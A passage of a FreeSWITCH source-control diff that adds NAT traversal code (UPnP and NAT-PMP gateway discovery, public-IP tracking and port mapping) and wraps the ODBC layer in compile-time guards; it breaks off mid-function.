+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ *
+ * The Initial Developer of the Original Code is
+ * Anthony Minessale II <anthm@freeswitch.org>
+ * Portions created by the Initial Developer are Copyright (C)
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ *
+ * Anthony Minessale II <anthm@freeswitch.org>
+ * Brian K. West <brian@freeswitch.org>
+ * Rupa Schomaker <rupa@rupa.com>
+ *
+ *
+ * switch_nat.c NAT Traversal via NAT-PMP or uPNP
+ *
+ */
+
+#include <switch.h>
+#include "../libs/miniupnpc/miniwget.h"
+#include "../libs/miniupnpc/miniupnpc.h"
+#include "../libs/miniupnpc/upnpcommands.h"
+#include "../libs/miniupnpc/upnperrors.h"
+#include "../libs/libnatpmp/natpmp.h"
+
+#define MULTICAST_BUFFSIZE 65536
+#define IP_LEN 16
+
+typedef struct {
+	switch_nat_type_t nat_type;
+	struct UPNPUrls urls;
+	struct IGDdatas data;
+	char *descURL;
+	char pub_addr[IP_LEN];
+	char pvt_addr[IP_LEN];
+} nat_globals_t;
+
+static nat_globals_t nat_globals;
+
+typedef struct {
+	switch_memory_pool_t *pool;
+	int running;
+	switch_sockaddr_t *maddress;
+	switch_socket_t *msocket;
+} nat_globals_perm_t;
+
+static nat_globals_perm_t nat_globals_perm;
+
+static switch_bool_t first_init = SWITCH_TRUE;
+
+static switch_status_t get_upnp_pubaddr(char *pub_addr)
+{
+	if (UPNP_GetExternalIPAddress(nat_globals.urls.controlURL,
+								   nat_globals.data.servicetype,
+								   pub_addr) == UPNPCOMMAND_SUCCESS) {
+		if (!strcmp(pub_addr, "0.0.0.0") || switch_strlen_zero_buf(pub_addr)) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, 
+							  "uPNP Device (url: %s) returned an invalid external address of '%s'.  Disabling uPNP\n", nat_globals.urls.controlURL, pub_addr);
+			return SWITCH_STATUS_GENERR;
+		}
+	} else {
+		return SWITCH_STATUS_GENERR;
+	}
+	return SWITCH_STATUS_SUCCESS;
+}
+
+static int init_upnp (void)
+{
+	struct UPNPDev *devlist;
+	struct UPNPDev *dev;
+	char * descXML;
+	int descXMLsize = 0;
+	const char *multicastif = 0;
+	const char *minissdpdpath = 0;
+
+	memset(&nat_globals.urls, 0, sizeof(struct UPNPUrls));
+	memset(&nat_globals.data, 0, sizeof(struct IGDdatas));
+	devlist = upnpDiscover(3000, multicastif, minissdpdpath, 0);
+
+	if (devlist) {
+		dev = devlist;
+		while (dev) {
+			if (strstr (dev->st, "InternetGatewayDevice")) {
+				break;
+			}
+			dev = dev->pNext;
+		}
+		if (!dev) {
+			dev = devlist; /* defaulting to first device */
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "No InternetGatewayDevice, using first entry as default.\n");
+		}
+		
+		descXML = miniwget(dev->descURL, &descXMLsize);
+		
+		nat_globals.descURL = strdup(dev->descURL);
+		
+		if (descXML) {
+			parserootdesc (descXML, descXMLsize, &nat_globals.data);
+			free (descXML); descXML = 0;
+			GetUPNPUrls (&nat_globals.urls, &nat_globals.data, dev->descURL);
+		}
+
+		freeUPNPDevlist(devlist);
+	}
+
+	if (get_upnp_pubaddr(nat_globals.pub_addr) == SWITCH_STATUS_SUCCESS) {
+		nat_globals.nat_type = SWITCH_NAT_TYPE_UPNP;
+		return 0;
+	}
+
+	return -2;
+}
+
+static int get_pmp_pubaddr(char *pub_addr)
+{
+	int r = 0, i = 0, max = 5;
+	natpmpresp_t response;
+	char *pubaddr = NULL;
+	fd_set fds;
+	natpmp_t natpmp;
+	const char *err = NULL;
+	
+	if ((r = initnatpmp(&natpmp)) < 0) {
+		err = "init failed";
+		goto end;
+	}
+
+	if ((r = sendpublicaddressrequest(&natpmp)) < 0) {
+		err = "pub addr req failed";
+		goto end;
+	}
+
+	do {
+		struct timeval timeout = { 1, 0};
+		i++;
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Checking for PMP %d/%d\n", i, max);
+
+		FD_ZERO(&fds);
+		FD_SET(natpmp.s, &fds);
+
+		if ((r = getnatpmprequesttimeout(&natpmp, &timeout)) < 0) {
+			err = "get timeout failed";
+			goto end;
+		}
+
+		if ((r = select(FD_SETSIZE, &fds, NULL, NULL, &timeout)) < 0) {
+			err = "select failed";
+			goto end;
+		}
+		r = readnatpmpresponseorretry(&natpmp, &response);
+	} while(r == NATPMP_TRYAGAIN && i < max);
+
+	if (r < 0) {
+		err = "general error";
+		goto end;
+	}
+
+	pubaddr = inet_ntoa(response.pnu.publicaddress.addr);
+	switch_copy_string(pub_addr, pubaddr, IP_LEN);
+	nat_globals.nat_type = SWITCH_NAT_TYPE_PMP;
+	
+	closenatpmp(&natpmp);
+
+ end:
+
+	if (err) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error checking for PMP [%s]\n", err);
+	}
+
+	return r;
+}
+
+static int init_pmp(void)
+{
+	return get_pmp_pubaddr(nat_globals.pub_addr);
+}
+
+SWITCH_DECLARE(void) switch_nat_reinit(void)
+{
+	switch_nat_init(nat_globals_perm.pool);
+}
+
+switch_status_t init_nat_monitor(switch_memory_pool_t *pool)
+{
+	char *addr = NULL;
+	switch_port_t port = 0;
+	
+	if (nat_globals.nat_type == SWITCH_NAT_TYPE_UPNP) {
+		addr = "239.255.255.250";
+		port = 1900;
+	} else if (nat_globals.nat_type == SWITCH_NAT_TYPE_PMP) {
+		addr = "224.0.0.1";
+		port = 5350;
+	}
+
+	if (switch_sockaddr_info_get(&nat_globals_perm.maddress, addr, SWITCH_UNSPEC, port, 0, pool) != SWITCH_STATUS_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Cannot find address\n");
+		return SWITCH_STATUS_TERM;
+	}
+
+	if (switch_socket_create(&nat_globals_perm.msocket, AF_INET, SOCK_DGRAM, 0, pool) != SWITCH_STATUS_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Socket Error\n");
+		return SWITCH_STATUS_TERM;
+	}
+
+	if (switch_socket_opt_set(nat_globals_perm.msocket, SWITCH_SO_REUSEADDR, 1) != SWITCH_STATUS_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Socket Option Error\n");
+		switch_socket_close(nat_globals_perm.msocket);
+		return SWITCH_STATUS_TERM;
+	}
+
+	if (switch_mcast_join(nat_globals_perm.msocket, nat_globals_perm.maddress, NULL, NULL) != SWITCH_STATUS_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Multicast Error\n");
+		switch_socket_close(nat_globals_perm.msocket);
+		return SWITCH_STATUS_TERM;
+	}
+
+	if (switch_socket_bind(nat_globals_perm.msocket, nat_globals_perm.maddress) != SWITCH_STATUS_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Bind Error\n");
+		switch_socket_close(nat_globals_perm.msocket);
+		return SWITCH_STATUS_TERM;
+	}
+
+	switch_socket_opt_set(nat_globals_perm.msocket, SWITCH_SO_NONBLOCK, TRUE);
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "NAT thread configured\n");
+	return SWITCH_STATUS_SUCCESS;
+}
+
+static void *SWITCH_THREAD_FUNC switch_nat_multicast_runtime(switch_thread_t *thread, void *obj)
+{
+	char *buf = NULL;
+	char newip[16];
+	char *pos;
+	switch_event_t *event = NULL;
+	
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "NAT thread started\n");
+
+	buf = (char *) malloc(MULTICAST_BUFFSIZE);
+	switch_assert(buf);
+	nat_globals_perm.running = 1;
+
+	while (nat_globals_perm.running == 1) {
+		size_t len = MULTICAST_BUFFSIZE;
+		switch_status_t status;
+		switch_bool_t do_repub = SWITCH_FALSE;
+		memset(buf, 0, len);
+
+		status = switch_socket_recvfrom(nat_globals_perm.maddress, nat_globals_perm.msocket, 0, buf, &len);
+
+		if (!len) {
+			if (SWITCH_STATUS_IS_BREAK(status)) {
+				switch_yield(5000000);
+				continue;
+			}
+
+			break;
+		}
+		
+		if (nat_globals.nat_type == SWITCH_NAT_TYPE_UPNP) {
+			/* look for our desc URL and servicetype in the packet */
+			if (strstr(buf, nat_globals.descURL) && (buf == NULL || strstr(buf, nat_globals.data.servicetype))) {
+				if ((pos = strstr(buf, "NTS:"))) {
+					pos = pos + 4;
+					while(*pos && *pos == ' ') {
+						pos++;
+					}
+					if (!strncmp(pos, "ssdp:alive", 10)) {
+						switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "got UPnP keep alive packet: \n%s\n", buf);
+						/* did pub ip change */
+						if (get_upnp_pubaddr(newip) != SWITCH_STATUS_SUCCESS) {
+							switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Unable to get current pubaddr after receiving UPnP keep alive packet.\n");
+						}
+					} else if (!strncmp(pos, "ssdp:byebye", 11)) {
+						switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "got UPnP signoff packet.  Your NAT gateway is probably going offline.\n");
+						switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "got UPnP signoff packet: \n%s\n", buf);
+					} else {
+						switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "got UNKNOWN UPnP keep alive packet: \n%s\n", buf);
+					}
+				}
+			}
+		} else {
+			/* got some data in NAT-PMP mode, treat any data as a republish event */
+			if (get_pmp_pubaddr(newip) < 0) {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Unable to get current pubaddr after receiving UPnP keep alive packet.\n");
+			}
+		}
+		
+		if ((strlen(newip) > 0) && strcmp(newip, "0.0.0.0") && strcmp(newip, nat_globals.pub_addr)) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Public IP changed from '%s' to '%s'.\n", nat_globals.pub_addr, newip);
+			do_repub = SWITCH_TRUE;
+			
+			switch_event_create(&event, SWITCH_EVENT_TRAP);
+			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "condition", "network-address-change");
+			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "network-address-previous-v4", nat_globals.pub_addr);
+			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "network-address-change-v4", newip);
+			switch_event_fire(&event);
+			
+			switch_set_string(nat_globals.pub_addr, newip);
+			switch_nat_reinit();
+		}
+		
+		if (do_repub) {
+			switch_nat_republish();
+		} 
+	}
+
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "NAT thread ending\n");
+	nat_globals_perm.running = 0;
+
+	switch_safe_free(buf);
+	
+	return NULL;
+}
+
+switch_thread_t *nat_thread_p = NULL;
+
+SWITCH_DECLARE(void) switch_nat_thread_start(void)
+{
+
+	switch_threadattr_t *thd_attr;
+
+	if (init_nat_monitor(nat_globals_perm.pool) != SWITCH_STATUS_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unable to initialize NAT thread\n");
+		return;
+	}
+	
+	switch_threadattr_create(&thd_attr, nat_globals_perm.pool);
+	switch_threadattr_detach_set(thd_attr, 1);
+	switch_thread_create(&nat_thread_p, thd_attr, switch_nat_multicast_runtime, NULL, nat_globals_perm.pool);
+}
+
+SWITCH_DECLARE(void) switch_nat_thread_stop(void)
+{
+	/* don't do anything if no thread ptr */
+	if (!nat_thread_p ) {
+		return;
+	}
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Stopping NAT Task Thread\n");
+	if (nat_globals_perm.running == 1) {
+		int sanity = 0;
+		switch_status_t st;
+
+		nat_globals_perm.running = -1;
+		
+		switch_thread_join(&st, nat_thread_p);
+
+		while (nat_globals_perm.running) {
+			switch_yield(1000000); /* can take up to 5s for the thread to terminate, so wait for 10 */
+			if (++sanity > 10) {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Timed out waiting for NAT Task Thread to stop\n");
+				break;
+			}
+		}
+	}
+	
+	nat_thread_p = NULL;
+}
+
+
+SWITCH_DECLARE(void) switch_nat_init(switch_memory_pool_t *pool)
+{
+	/* try free dynamic data structures prior to resetting to 0 */
+	FreeUPNPUrls(&nat_globals.urls); 
+	switch_safe_free(nat_globals.descURL);
+
+	memset(&nat_globals, 0, sizeof(nat_globals));
+	
+	if (first_init) {
+		memset(&nat_globals_perm, 0, sizeof(nat_globals_perm));
+		nat_globals_perm.pool = pool;
+	}
+	
+	switch_find_local_ip(nat_globals.pvt_addr, sizeof(nat_globals.pvt_addr), NULL, AF_INET);
+
+
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Scanning for NAT\n");
+
+	init_pmp();
+
+	if (!nat_globals.nat_type) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Checking for UPnP\n");
+		init_upnp();
+	}
+	
+	if (nat_globals.nat_type) {
+		switch_core_set_variable("nat_public_addr", nat_globals.pub_addr);
+		switch_core_set_variable("nat_private_addr", nat_globals.pvt_addr);
+		switch_core_set_variable("nat_type", nat_globals.nat_type == SWITCH_NAT_TYPE_PMP ? "pmp" : "upnp");
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "NAT detected type: %s, ExtIP: '%s'\n", nat_globals.nat_type == SWITCH_NAT_TYPE_PMP ? "pmp" : "upnp", nat_globals.pub_addr);
+
+		if (!nat_thread_p) {
+			switch_nat_thread_start();
+		}
+	} else {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "No PMP or UPnP NAT detected!\n");
+	}
+	first_init = SWITCH_FALSE;
+}
+
+static switch_status_t switch_nat_add_mapping_pmp(switch_port_t port, switch_nat_ip_proto_t proto, switch_port_t *external_port)
+{
+	switch_status_t status = SWITCH_STATUS_FALSE;
+	natpmpresp_t response;
+	int r;
+	natpmp_t natpmp;
+
+	initnatpmp(&natpmp);
+	
+	if (proto == SWITCH_NAT_TCP) {
+		sendnewportmappingrequest(&natpmp, NATPMP_PROTOCOL_TCP, port, port, 31104000);
+	} else if(proto == SWITCH_NAT_UDP) {
+		sendnewportmappingrequest(&natpmp, NATPMP_PROTOCOL_UDP, port, port, 31104000);
+	}
+
+	do {
+		fd_set fds;
+		struct timeval timeout = { 1, 0 };
+		FD_ZERO(&fds);
+		FD_SET(natpmp.s, &fds);
+		getnatpmprequesttimeout(&natpmp, &timeout);
+		select(FD_SETSIZE, &fds, NULL, NULL, &timeout);
+		r = readnatpmpresponseorretry(&natpmp, &response);
+	} while(r == NATPMP_TRYAGAIN);
+
+	if (r == 0) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "mapped public port %hu protocol %s to localport %hu\n",
+						  response.pnu.newportmapping.mappedpublicport,
+						  response.type == NATPMP_RESPTYPE_UDPPORTMAPPING ? "UDP" :
+						  (response.type == NATPMP_RESPTYPE_TCPPORTMAPPING ? "TCP" : "UNKNOWN"),
+						  response.pnu.newportmapping.privateport);
+		if (external_port) {
+			*external_port = response.pnu.newportmapping.mappedpublicport;
+		} else if (response.pnu.newportmapping.mappedpublicport != response.pnu.newportmapping.privateport) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "External port %hu protocol %s was not available, it was instead mapped to %hu",
+				response.pnu.newportmapping.privateport,
+				response.type == NATPMP_RESPTYPE_UDPPORTMAPPING ? "UDP" :
+			  	(response.type == NATPMP_RESPTYPE_TCPPORTMAPPING ? "TCP" : "UNKNOWN"),
+				response.pnu.newportmapping.mappedpublicport);
+		}
+						
+		status = SWITCH_STATUS_SUCCESS;
+	}
+	
+	closenatpmp(&natpmp);
+	
+	return status;
+}
+
+static switch_status_t switch_nat_add_mapping_upnp(switch_port_t port, switch_nat_ip_proto_t proto)
+{
+	switch_status_t status = SWITCH_STATUS_FALSE;
+	char port_str[IP_LEN];
+	int r = UPNPCOMMAND_UNKNOWN_ERROR;
+
+	sprintf(port_str, "%d", port);
+
+	if (proto == SWITCH_NAT_TCP) {
+		r = UPNP_AddPortMapping(nat_globals.urls.controlURL, nat_globals.data.servicetype, port_str, port_str,
+								nat_globals.pvt_addr, "FreeSWITCH", "TCP", 0);
+	} else if(proto == SWITCH_NAT_UDP) {
+		r = UPNP_AddPortMapping(nat_globals.urls.controlURL, nat_globals.data.servicetype, port_str, port_str,
+								nat_globals.pvt_addr, "FreeSWITCH", "UDP", 0);
+	}
+
+	if (r == UPNPCOMMAND_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "mapped public port %s protocol %s to localport %s\n", port_str,
+						  (proto == SWITCH_NAT_TCP) ? "TCP" : (proto == SWITCH_NAT_UDP ? "UDP" : "UNKNOWN"), port_str);
+						  status = SWITCH_STATUS_SUCCESS;
+	}
+
+	return status;
+}
+
+static switch_status_t switch_nat_del_mapping_pmp(switch_port_t port, switch_nat_ip_proto_t proto)
+{
+	switch_status_t status = SWITCH_STATUS_FALSE;
+	natpmpresp_t response;
+	int r;
+	natpmp_t natpmp;
+	
+	initnatpmp(&natpmp);
+
+	if (proto == SWITCH_NAT_TCP) {
+		sendnewportmappingrequest(&natpmp, NATPMP_PROTOCOL_TCP, port, port, 0);
+	} else if(proto == SWITCH_NAT_UDP) {
+		sendnewportmappingrequest(&natpmp, NATPMP_PROTOCOL_UDP, port, port, 0);
+	}
+
+	do {
+		fd_set fds;
+		struct timeval timeout;
+		FD_ZERO(&fds);
+		FD_SET(natpmp.s, &fds);
+		getnatpmprequesttimeout(&natpmp, &timeout);
+		select(FD_SETSIZE, &fds, NULL, NULL, &timeout);
+		r = readnatpmpresponseorretry(&natpmp, &response);
+	} while(r == NATPMP_TRYAGAIN);
+
+	if (r == 0) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "unmapped public port %hu protocol %s to localport %hu\n",
+						  response.pnu.newportmapping.privateport, /* This might be wrong but its so 0 isn't displayed */
+						  response.type == NATPMP_RESPTYPE_UDPPORTMAPPING ? "UDP" :
+						  (response.type == NATPMP_RESPTYPE_TCPPORTMAPPING ? "TCP" : "UNKNOWN"),
+						  response.pnu.newportmapping.privateport);
+		status = SWITCH_STATUS_SUCCESS;
+	}
+	
+	closenatpmp(&natpmp);
+
+	return status;
+}
+
+static switch_status_t switch_nat_del_mapping_upnp(switch_port_t port, switch_nat_ip_proto_t proto)
+{
+	switch_status_t status = SWITCH_STATUS_FALSE;
+	char port_str[IP_LEN];
+	int r = UPNPCOMMAND_UNKNOWN_ERROR;
+
+	sprintf(port_str, "%d", port);
+
+	if (proto == SWITCH_NAT_TCP) {
+		r = UPNP_DeletePortMapping(nat_globals.urls.controlURL, nat_globals.data.servicetype, port_str, "TCP", 0);
+	} else if(proto == SWITCH_NAT_UDP) {
+		r = UPNP_DeletePortMapping(nat_globals.urls.controlURL, nat_globals.data.servicetype, port_str, "UDP", 0);
+	}
+
+	if (r == UPNPCOMMAND_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "unmapped public port %s protocol %s to localport %s\n", port_str,
+						  (proto == SWITCH_NAT_TCP) ? "TCP" : (proto == SWITCH_NAT_UDP ? "UDP" : "UNKNOWN"), port_str);
+		status = SWITCH_STATUS_SUCCESS;
+	}
+	return status;
+}
+
+SWITCH_DECLARE(switch_status_t) switch_nat_add_mapping_internal(switch_port_t port, switch_nat_ip_proto_t proto, switch_port_t *external_port, switch_bool_t sticky, switch_bool_t publish)
+{
+	switch_status_t status = SWITCH_STATUS_FALSE;
+	switch_event_t *event = NULL;
+	
+	switch (nat_globals.nat_type) {
+	case SWITCH_NAT_TYPE_PMP:
+		status = switch_nat_add_mapping_pmp(port, proto, external_port);
+		break;
+	case SWITCH_NAT_TYPE_UPNP:
+		if ((status = switch_nat_add_mapping_upnp(port, proto)) == SWITCH_STATUS_SUCCESS) {
+			if (external_port) {
+				*external_port = port;
+			}
+		}
+		break;
+	default:
+		break;
+	}
+	
+	if (publish && status == SWITCH_STATUS_SUCCESS) {
+		switch_event_create(&event, SWITCH_EVENT_NAT);	
+		switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "op", "add");
+		switch_event_add_header(event, SWITCH_STACK_BOTTOM, "port", "%d", port);
+		switch_event_add_header(event, SWITCH_STACK_BOTTOM, "proto", "%d", proto);
+		switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "sticky", (sticky ? "true" : "false"));
+		switch_event_fire(&event);
+	}
+
+	return status;
+}
+
+SWITCH_DECLARE(switch_status_t) switch_nat_add_mapping(switch_port_t port, switch_nat_ip_proto_t proto, switch_port_t *external_port, switch_bool_t sticky)
+{
+	return switch_nat_add_mapping_internal(port, proto, external_port, sticky, SWITCH_TRUE);
+}
+
+SWITCH_DECLARE(switch_status_t) switch_nat_del_mapping(switch_port_t port, switch_nat_ip_proto_t proto)
+{
+	switch_status_t status = SWITCH_STATUS_FALSE;
+	switch_event_t *event = NULL;
+
+	switch (nat_globals.nat_type) {
+	case SWITCH_NAT_TYPE_PMP:
+		status = switch_nat_del_mapping_pmp(port, proto);
+		break;
+	case SWITCH_NAT_TYPE_UPNP:
+		status = switch_nat_del_mapping_upnp(port, proto);
+		break;
+	default:
+		break;
+	}
+
+	if (status == SWITCH_STATUS_SUCCESS) {
+		switch_event_create(&event, SWITCH_EVENT_NAT);	
+		switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "op", "del");
+		switch_event_add_header(event, SWITCH_STACK_BOTTOM, "port", "%d", port);
+		switch_event_add_header(event, SWITCH_STACK_BOTTOM, "proto", "%d", proto);
+		switch_event_fire(&event);
+	}
+	
+	return status;
+}
+
+SWITCH_DECLARE(void) switch_nat_republish(void)
+{
+	switch_xml_t natxml = NULL;
+	switch_xml_t row = NULL;
+	switch_xml_t child = NULL;
+	switch_stream_handle_t stream = { 0 };
+	SWITCH_STANDARD_STREAM(stream);
+
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Refreshing nat maps\n");
+	
+	switch_api_execute("show", "nat_map as xml", NULL, &stream);
+	
+	if (!(natxml = switch_xml_parse_str_dup(stream.data))) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unable to parse XML: %s\n", (char *) stream.data);
+		switch_safe_free(stream.data);
+		return;
+	}
+	
+	/* iterate the xml and publish the mappings */
+	row = switch_xml_find_child(natxml, "row", "row_id", "1");
+	while (row != NULL) {
+		char *sport = NULL;
+		char *sproto = NULL;
+		switch_port_t port;
+		switch_nat_ip_proto_t proto;
+
+		if ((child = switch_xml_child(row, "port"))) {
+			sport = child->txt;
+		}
+		if ((child = switch_xml_child(row, "proto_num"))) {
+			sproto = child->txt;
+		}
+		
+		if (sport && sproto) {
+			port = (switch_port_t)(atoi(sport));
+			proto = (switch_nat_ip_proto_t)(atoi(sproto));
+			switch_nat_add_mapping_internal(port, proto, NULL, SWITCH_FALSE, SWITCH_FALSE); 
+		} else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unable to parse port/proto info: XML: %s\n", (char *) stream.data);
+		}
+	
+		row = switch_xml_next(row);
+	}
+	
+	switch_safe_free(stream.data);
+	switch_xml_free(natxml);
+}
+
+SWITCH_DECLARE(char *) switch_nat_status(void)
+{
+	switch_stream_handle_t stream = { 0 };
+	SWITCH_STANDARD_STREAM(stream);
+	
+	stream.write_function(&stream, "Nat Type: %s, ExtIP: %s\n", 
+							(nat_globals.nat_type == SWITCH_NAT_TYPE_UPNP) ? "UPNP" : (nat_globals.nat_type == SWITCH_NAT_TYPE_PMP ? "NAT-PMP" : "UNKNOWN"),
+							nat_globals.pub_addr);
+
+	switch_api_execute("show", "nat_map", NULL, &stream);
+	
+	return stream.data; /* caller frees */
+}
+
+
+SWITCH_DECLARE(void) switch_nat_shutdown(void)
+{
+	switch_nat_thread_stop();
+	FreeUPNPUrls(&nat_globals.urls);
+	switch_safe_free(nat_globals.descURL);
+}
+
+
+/* For Emacs:
+ * Local Variables:
+ * mode:c
+ * indent-tabs-mode:t
+ * tab-width:4
+ * c-basic-offset:4
+ * End:
+ * For VIM:
+ * vim:set softtabstop=4 shiftwidth=4 tabstop=4:
+ */

Modified: freeswitch/branches/seven/src/switch_odbc.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_odbc.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_odbc.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,21 +17,32 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  * switch_odbc.c -- ODBC
  *
  */
 
 #include <switch.h>
-#include <switch_odbc.h>
 
+#ifdef SWITCH_HAVE_ODBC
+#include <sql.h>
+#ifdef _MSC_VER
+#pragma warning(push)
+#pragma warning(disable:4201)
+#include <sqlext.h>
+#pragma warning(pop)
+#else
+#include <sqlext.h>
+#endif
+#include <sqltypes.h>
+
 #if (ODBCVER < 0x0300)
 #define SQL_NO_DATA SQL_SUCCESS
 #endif 
@@ -46,9 +57,11 @@
 	char odbc_driver[256];
 	BOOL is_firebird;
 };
+#endif
 
 SWITCH_DECLARE(switch_odbc_handle_t *) switch_odbc_handle_new(char *dsn, char *username, char *password)
 {
+#ifdef SWITCH_HAVE_ODBC
 	switch_odbc_handle_t *new_handle;
 
 	if (!(new_handle = malloc(sizeof(*new_handle)))) {
@@ -86,13 +99,20 @@
 		switch_safe_free(new_handle);
 	}
 
+#endif
 	return NULL;
 }
 
 SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_handle_disconnect(switch_odbc_handle_t *handle)
 {
+#ifdef SWITCH_HAVE_ODBC
+
 	int result;
 
+	if (!handle) {
+		return SWITCH_ODBC_FAIL;
+	}
+
 	if (handle->state == SWITCH_ODBC_STATE_CONNECTED) {
 		result = SQLDisconnect(handle->con);
 		if (result == SWITCH_ODBC_SUCCESS) {
@@ -105,10 +125,14 @@
 	handle->state = SWITCH_ODBC_STATE_DOWN;
 
 	return SWITCH_ODBC_SUCCESS;
+#else
+	return SWITCH_ODBC_FAIL;
+#endif
 }
 
 SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_handle_connect(switch_odbc_handle_t *handle)
 {
+#ifdef SWITCH_HAVE_ODBC
 	int result;
 	SQLINTEGER err;
 	int16_t mlen;
@@ -186,8 +210,12 @@
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Connected to [%s]\n", handle->dsn);
 	handle->state = SWITCH_ODBC_STATE_CONNECTED;
 	return SWITCH_ODBC_SUCCESS;
+#else
+	return SWITCH_ODBC_FAIL;
+#endif
 }
 
+#ifdef SWITCH_HAVE_ODBC
 static int db_is_up(switch_odbc_handle_t *handle)
 {
 	int ret = 0;
@@ -289,9 +317,65 @@
 
 	return ret;
 }
+#endif
 
-SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_handle_exec(switch_odbc_handle_t *handle, char *sql, SQLHSTMT * rstmt)
+SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_statement_handle_free(switch_odbc_statement_handle_t * stmt)
 {
+	if (!stmt || ! *stmt) {
+		return SWITCH_ODBC_FAIL;
+	}
+#ifdef SWITCH_HAVE_ODBC
+	SQLFreeHandle(SQL_HANDLE_STMT, *stmt);
+	*stmt = NULL;
+	return SWITCH_ODBC_SUCCESS;
+#else
+	return SWITCH_ODBC_FAIL;
+#endif
+}
+
+
+SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_handle_exec_string(switch_odbc_handle_t *handle,
+																	char *sql,
+																	char *resbuf,
+																	size_t len)
+{
+#ifdef SWITCH_HAVE_ODBC
+	switch_odbc_status_t sstatus = SWITCH_ODBC_FAIL;
+	switch_odbc_statement_handle_t stmt = NULL;
+	SQLCHAR name[1024];
+	SQLLEN m = 0;
+
+	if (switch_odbc_handle_exec(handle, sql, &stmt) == SWITCH_ODBC_SUCCESS) {
+		SQLSMALLINT NameLength, DataType, DecimalDigits, Nullable;
+		SQLULEN ColumnSize;
+		SQLRowCount(stmt, &m);
+
+		if (m <= 0) {
+			goto done;
+		}
+
+		if (SQLFetch(stmt) != SQL_SUCCESS) {
+			goto done;
+		}
+
